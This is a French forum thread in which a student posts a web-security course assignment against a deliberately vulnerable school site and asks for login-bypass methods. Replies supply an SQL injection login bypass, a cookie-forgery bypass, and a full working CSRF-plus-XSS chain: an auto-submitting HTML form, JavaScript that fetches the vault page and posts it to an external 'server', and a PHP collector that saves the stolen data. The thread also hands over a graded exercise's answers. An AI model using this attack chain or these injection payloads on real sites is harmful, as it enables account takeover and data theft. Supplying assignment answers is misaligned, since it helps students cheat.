Sujet: Sécurité
24/02/2015 @ 15:10:30: eric: Sécurité
Bonjour,

Quelqu'un sait comment est il possible de se connecter sans avoir de mot de passe, et ce,
grâce à 2 failles différentes.

On vous demande d’analyser les failles du site web de référence http://
esidcf.alwaysdata.net, spécialement développé pour le projet. Ce site comporte au
minimum 1 faille par type de faille étudié au cours (XSS, CSRF, Injection SQL et Cross
Site Cooking). Grâce à ces failles, vous devriez être capable de récupérer les sources du
site web afin de me les rendre corrigées.

Phase 1

Connectez-vous au site en utilisant les informations suivantes: f@f.com / aaaaaa. Ce site
comporte 4 pages: une page de connexion, une page présentant un solde bancaire en
euros, une page présentant le contenu d’un coffre fort et une page permettant de
rechercher une personne dans le site.

Expliquez comment il est possible de se connecter sans avoir de mot de passe, et ce,
grâce à 2 failles différentes.

1) avec SQL INJECTION il faut :

Pseudo= ' OR 1=1#
password=' OR 1=1#


2) J'ai pas d'idée
24/02/2015 @ 16:35:21: rfr: Sécurité
Et comment s'appelle le professeur? :tongue:
24/02/2015 @ 17:04:45: zion: Sécurité
:ddr555:
24/02/2015 @ 21:31:29: rfr: Sécurité
Suffit de définir les cookies "à la main" dans firefox par ex:
connected=true
email=f@f.com
password=nimporte

et d'aller sur la bonne url.

Pour la phase2:

bust.html

<html>
<head>
<title>bust</title>
</head>
<body onload="init();">
<script type="text/javascript">
function init() {
document.getElementById("form").submit();
}
</script>

<form id="form" action="http://esidcf.alwaysdata.net/search.php" method="post">

<input type="hidden" name="personName" value='</div><script type="text/javascript" src="http://server/test.js"></script><div>'/>
<input type="submit" />
</form>
</body>
</html>


test.js

function httpGet(theUrl)
{
var xmlHttp = null;

xmlHttp = new XMLHttpRequest();
xmlHttp.open( "GET", theUrl, false );
xmlHttp.send( null );
return xmlHttp.responseText;
}

function httpPost(theUrl,data)
{
var xmlHttp = null;

xmlHttp = new XMLHttpRequest();
xmlHttp.open( "POST", theUrl, false );
xmlHttp.send( data );
}

var result = httpGet("http://esidcf.alwaysdata.net/coffre.php");

httpPost("http://server/damnedpost.php", result);


damnedpost.php

<?php
file_put_contents('/tmp/xxtest.txt', file_get_contents('php://input'));
?>


Suffit de rediriger le prof vers l'url http://server/bust.html

Il y a un exception dans le httpPost de test.js mais comme ça fonctionne quand même, je n'ai pas cherché.

Mais comme toi non plus et que la solution à l'exercice est ici, tu auras zéro et puis c'est tout.

Maintenant il faudra expliquer à ton prof pourquoi tu as essayé de tricher et que maintenant, son exercice est tout pourri parce que la solution est sur le net. C'est malin hein ...
24/02/2015 @ 22:25:44: Dr_Dan: Sécurité
:rofl:
25/02/2015 @ 09:00:12: Tang: Sécurité
...
Mais comme toi non plus et que la solution à l'exercice est ici, tu auras zéro et puis c'est tout.

Maintenant il faudra expliquer à ton prof pourquoi tu as essayé de tricher et que maintenant, son exercice est tout pourri parce que la solution est sur le net. C'est malin hein ...


:lol: :lol: :lol:
08/03/2015 @ 16:59:45: eric: Sécurité
tu as fait la sécurité aussi à l'ESI
Retour